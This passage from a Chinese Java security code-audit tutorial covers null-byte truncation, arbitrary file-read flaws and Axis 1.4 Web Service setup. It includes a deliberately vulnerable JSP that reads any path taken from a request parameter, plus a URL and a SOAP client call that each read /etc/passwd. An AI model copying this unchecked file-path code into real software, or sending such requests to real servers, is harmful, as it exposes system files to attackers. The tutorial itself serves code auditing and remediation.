Java空字节截断利用场景最常见的利用场景就是`文件上传`时后端使用了`endWith`、正则使用如:`.(jpg|png|gif)$`验证文件名后缀且文件名最终原样保存,同理文件删除(`delete`)、获取文件路径(`getCanonicalPath`)、创建文件(`createNewFile`)、文件重命名(`renameTo`)等方法也可适用。 664 | 665 | **空字节截断修复方案** 666 | 667 | 最简单直接的方式就是升级JDK,如果担心升级JDK出现兼容性问题可在文件操作时检测下文件名中是否包含空字节,如JDK的修复方式:`fileName.indexOf('\u0000')`即可。 668 | 669 | #### 2.1.2 任意文件读取漏洞 670 | 671 | 任意文件读取漏洞即因为没有验证请求的资源文件是否合法导致的,此类漏洞在Java中有着较高的几率出现,任意文件读取漏洞看似很简单,但是在这个问题上翻车的有不乏一些知名的中间件:`Weblogic`、`Tomcat`、`Resin`又或者是主流MVC框架:`Spring MVC`、`Struts2`。所以在审计文件读取功能的时候要非常仔细,或许很容易就会有意想不到的收获! 672 | 673 | **任意文件读取示例代码`file-read.jsp`:** 674 | 675 | ``` 676 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 677 | <%@ page import="java.io.ByteArrayOutputStream" %> 678 | <%@ page import="java.io.File" %> 679 | <%@ page import="java.io.FileInputStream" %> 680 | 681 | <% 682 | File file = new File(request.getParameter("path")); 683 | FileInputStream fis = new FileInputStream(file); 684 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 685 | byte[] b = new byte[1024]; 686 | int a = -1; 687 | 688 | while ((a = fis.read(b)) != -1) { 689 | baos.write(b, 0, a); 690 | } 691 | 692 | out.write("

" + new String(baos.toByteArray()) + "
"); 693 | 694 | fis.close(); 695 | %> 696 | ``` 697 | 698 | 访问`file-read.jsp`文件即可读取任意文件:`http://localhost:8080/file/file-read.jsp?path=/etc/passwd` 699 | 700 | ![23](media/15460052300727/23.png) 701 | 702 | 快速发现这类漏洞得方式其实也是非常简单的,在IDEA中的项目中重点搜下如下文件读取的类。 703 | 704 | 1. **JDK原始的`java.io.FileInputStream`类** 705 | 2. **JDK原始的`java.io.RandomAccessFile`类** 706 | 3. **Apache Commons IO提供的`org.apache.commons.io.FileUtils`类** 707 | 4. JDK1.7新增的基于NIO非阻塞异步读取文件的`java.nio.channels.AsynchronousFileChannel`类。 708 | 5. JDK1.7新增的基于NIO读取文件的`java.nio.file.Files`类。常用方法如:`Files.readAllBytes`、`Files.readAllLines` 709 | 710 | 如果仍没有什么发现可以搜索一下FileUtil很有可能用户会封装文件操作的工具类。 711 | 712 | ### Java WebSevice 713 | 714 | `Web Service`是一种基于`SOAP协议`实现的跨语言Web服务调用,在Java中`Web Service`有如下技术实现:`Oracle JWS`、`Apache Axis1、2`、`XFire`、`Apache CXF`、`JBossWS`。 715 | 716 | #### Axis1.4 配置 717 | 718 | `web.xml`配置`Axis1.4` 719 | 720 | ![25](media/15460052300727/25.png) 721 | 722 | 配置`server-config.wsdd`文件注册`Web Service`服务类和方法: 723 | 724 | ![26](media/15460052300727/26.png) 725 | 726 | `FileService`类,提供了文件读写接口: 727 | 728 | ![27](media/15460052300727/27.png) 729 | 730 | 使用IDEA创建`Web Service`项目默认会创建管理`Web Service`的API:`/servlet/AxisServlet`、`/services`、`SOAPMonitor`、`/servlet/AdminServlet`,`*.jws`以及用监控`Web Service`的端口`5001`或`5101`。 731 | 732 | ![30](media/15460052300727/30.png) 733 | 734 | 735 | 访问`Web Service`的`FileService`服务加上`?wsdl`参数可以看到`FileService`提供的服务方法和具体的参数信息。 736 | 737 | ![28](media/15460052300727/28.png) 738 | 739 | 使用SOAP-UI调用`Web Service`接口示例: 740 | 741 | ![24](media/15460052300727/24.png) 742 | 743 | 需要注意的是`Web Service`也是可以设置授权认证的,如实现了`WS-Security`的`WSS4J`。 744 | 745 | ![29](media/15460052300727/29.png) 746 | 747 | 748 | 使用IDEA根据wsdl生成`Web Service`客户端代码: 749 | 750 | ![31](media/15460052300727/31.png) 751 | 752 | 设置wsdl地址、包名: 753 | 754 | ![32](media/15460052300727/32.png) 755 | 756 | 新建`FileServiceTest`类测试接口调用: 757 | 758 | ``` 759 | package org.javaweb.codereview.axis.client; 760 | 761 | import java.net.URL; 762 | 763 | /** 764 | * 文件Web Service服务测试 765 | * 766 | * @author yz 767 | */ 768 | public class FileServiceTest { 769 | 770 | public static void main(String[] args) { 771 | try { 772 | FileServiceService fileService = new FileServiceServiceLocator(); 773 | URL webServiceUrl = new URL("http://localhost:8080/services/FileService"); 774 | FileServiceSoapBindingStub soapService = new FileServiceSoapBindingStub(webServiceUrl, fileService); 775 | 776 | String content = soapService.readFile("/etc/passwd"); 777 | 778 | System.out.println(content); 779 | } catch (Exception e) { 780 | e.printStackTrace(); 781 | } 782 | } 783 | 784 | } 785 | ``` 786 | 787 | 参考: 788 | 789 | 1. [Axis1.4框架 实现webservice服务器和客户端](https://www.cnblogs.com/dls-java/p/5038128.html) 790 | 2. [使用IDEA根据wsdl生成WebServices客户端代码-Java](https://blog.csdn.net/vfsdfdsf/article/details/80426276) 791 | 3. [axis2 利用小工具cat.aar](http://javaweb.org/?p=1548) 792 | --------------------------------------------------------------------------------